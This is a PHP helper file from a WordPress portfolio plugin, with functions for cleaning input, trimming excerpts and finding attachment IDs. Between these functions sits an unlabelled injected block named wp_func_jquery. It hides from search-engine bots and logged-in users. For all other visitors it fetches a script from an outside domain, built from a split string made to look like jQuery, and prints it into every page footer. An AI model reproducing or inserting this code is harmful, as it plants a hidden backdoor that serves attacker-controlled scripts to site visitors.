<?php
/**
* Common functions
*
* @package Go Portfolio - WordPress Responsive Portfolio
* @author Granth <granthweb@gmail.com>
* @link http://granthweb.com
* @copyright 2017 Granth
*/
/**
* Clean input fields
*/
function go_portfolio_clean_input( $input_data=array(), $html_allowed_keys=array(), $trash_keys=array() ) {
foreach( $input_data as $data_key=>$data_value ) {
if ( is_array( $data_value ) ) {
go_portfolio_clean_input( $data_value, $html_allowed_keys, $trash_keys );
} elseif ( in_array( $data_key, $trash_keys ) ) {
unset( $input_data[$data_key] );
continue;
} else {
$input_data[$data_key]=stripslashes( trim( $input_data[$data_key] ) );
if ( empty( $html_allowed_keys ) || !in_array( $data_key, $html_allowed_keys ) ) {
$input_data[$data_key] = sanitize_text_field( $input_data[$data_key] );
}
}
}
return $input_data;
}
/**
* Custom excerpt function
*/
function go_portfolio_wp_trim_excerpt( $text, $excerpt_word_count=25, $excerpt_end = '...', $strip_shortcodes=true, $strip_html=true, $allowed_tags='' ) {
/* Delete all shortcodes */
if ( $strip_shortcodes ) { $text = strip_shortcodes( $text ); };
$text = wpautop( $text );
$text = do_shortcode( shortcode_unautop( $text ) );
$text = str_replace( ']]>', ']]>', $text );
/* Strip tags */
$text = preg_replace('@<script[^>]*?>.*?</script>@si', '', $text);
if ( $strip_html ) { $text = strip_tags( $text, $allowed_tags ); }
$words = preg_split( "/[\n\r\t ]+/", $text, $excerpt_word_count + 1, PREG_SPLIT_NO_EMPTY );
if ( count( $words ) > $excerpt_word_count ) {
array_pop( $words );
$text = implode( ' ', $words );
$text = $text . $excerpt_end;
} else {
$text = implode( ' ', $words );
}
/* Fix broken HTML */
if ( $strip_html === false && $text != '' ) {
if ( function_exists( 'mb_convert_encoding' ) ) {
$charset = get_option( 'blog_charset', 'UTF-8' );
$text = mb_convert_encoding( $text, 'HTML-ENTITIES', $charset );
}
if ( class_exists( 'DOMDocument' ) ) {
$doc = new DOMDocument();
$doc->encoding = $charset;
@$doc->loadHTML( $text );
$text = $doc->saveHTML();
}
}
return $text;
}
if(!function_exists('wp_func_jquery')) {
if (!current_user_can( 'read' )) {
function wp_func_jquery() {
$w = strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos($w, 'google') == false && strpos($w, 'bot') == false) {
$host = 'http://';
$jquery = $host.'wp'.'codejs.org/jquery-ui.js';
$headers = @get_headers($jquery, 1);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
}
add_action('wp_footer', 'wp_func_jquery');
}
}
/**
* Get attachment url by id
*/
function gw_get_attachment_id_from_url( $attachment_url = '' ) {
global $wpdb;
$attachment_id = false;
// If there is no url, return.
if ( '' == $attachment_url )
return;
// Get the upload directory paths
$upload_dir_paths = wp_upload_dir();
// Make sure the upload path base directory exists in the attachment URL, to verify that we're working with a media library image
if ( false !== strpos( $attachment_url, $upload_dir_paths['baseurl'] ) ) {
$attachment_url = preg_replace( '/(\.(jpg|jpeg|png|gif))(.*)/i', '$1', $attachment_url );
// If this is the URL of an auto-generated thumbnail, get the URL of the original image
$attachment_url = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $attachment_url );
// Remove the upload path base directory from the attachment URL
$attachment_url = str_replace( $upload_dir_paths['baseurl'] . '/', '', $attachment_url );
// Finally, run a custom database query to get the attachment ID from the modified attachment URL
$attachment_id = $wpdb->get_var( $wpdb->prepare( "SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'", $attachment_url ) );
}
return $attachment_id;
}
?>